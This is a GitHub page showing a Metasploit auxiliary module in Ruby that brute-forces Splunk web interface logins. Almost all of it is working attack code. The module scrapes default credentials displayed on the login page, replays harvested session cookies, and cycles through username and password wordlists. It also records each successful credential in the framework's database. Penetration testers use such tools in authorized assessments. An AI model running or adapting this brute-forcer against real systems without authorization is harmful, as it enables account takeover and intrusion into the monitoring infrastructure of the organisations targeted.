-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
splunk_web_login.rb
183 lines (156 loc) · 5.26 KB
/
splunk_web_login.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Splunk Web interface Login Utility',
'Description' => %{
This module simply attempts to login to a Splunk web interface. Please note the
free version of Splunk actually does not require any authentication, in that case
the module will abort trying. Also, some Splunk applications still have the
default credential 'admin:changeme' written on the login page. If this default
credential is found, the module will also store that information, and then move on
to trying more passwords.
},
'Author' =>
[
'Vlatko Kosturjak <kost[at]linux.hr>',
'sinn3r'
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(8000),
OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
], self.class)
end
def run_host(ip)
if not is_app_splunk?
print_error("Application does not appear to be Splunk. Module will not continue.")
return
end
print_status("Checking if authentication is required...")
if not is_auth_required?
print_warning("Application does not require authentication.")
return
end
status = try_default_credential
return if status == :abort
print_status("Brute-forcing...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
#
# What's the point of running this module if the app actually isn't Splunk?
#
def is_app_splunk?
res = send_request_raw({'uri' => datastore['URI']})
return (res and res.code == 200 and res.body =~ /Splunk/)
end
def get_login_cookie
res = send_request_raw({'uri' => datastore['URI']})
uid = ''
session_id_port = ''
session_id = ''
cval = ''
if res and res.code == 200 and res.headers['Set-Cookie']
res.headers['Set-Cookie'].split(';').each {|c|
c.split(',').each {|v|
if v.split('=')[0] =~ /cval/
cval = v.split('=')[1]
elsif v.split('=')[0] =~ /uid/
uid = v.split('=')[1]
elsif v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
}
}
return uid.strip, session_id_port.strip, session_id.strip, cval.strip
end
return nil
end
#
# Test and see if the default credential works
#
def try_default_credential
p = /Splunk's default credentials are <\/p><p>username: <span>(.+)<\/span><br \/>password: <span>(.+)<\/span>/
res = send_request_raw({'uri' => datastore['URI']})
user, pass = res.body.scan(p).flatten
do_login(user, pass) if user and pass
end
#
# The free version of Splunk does not require authentication. Instead, it'll log the
# user right in as 'admin'. If that's the case, no point to brute-force, either.
#
def is_auth_required?
uid, session_id_port, session_id, cval = get_login_cookie
res = send_request_raw({
'uri' => '/en-US/app/launcher/home',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}"
})
return (res and res.body =~ /Logged in as (.+)/) ? false : true
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin
cval = ''
uid, session_id_port, session_id, cval = get_login_cookie
if !uid or !session_id_port or !session_id or !cval
print_error("Failed to get login cookies, aborting!")
return :abort
end
res = send_request_cgi(
{
'uri' => datastore['URI'],
'method' => 'POST',
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
'vars_post' =>
{
'cval' => cval,
'username' => user,
'password' => pass
}
})
if not res or res.code != 303
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
return :skip_pass
else
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'splunk-web',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
return :next_user
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("HTTP Connection Failed, Aborting")
return :abort
end
end
end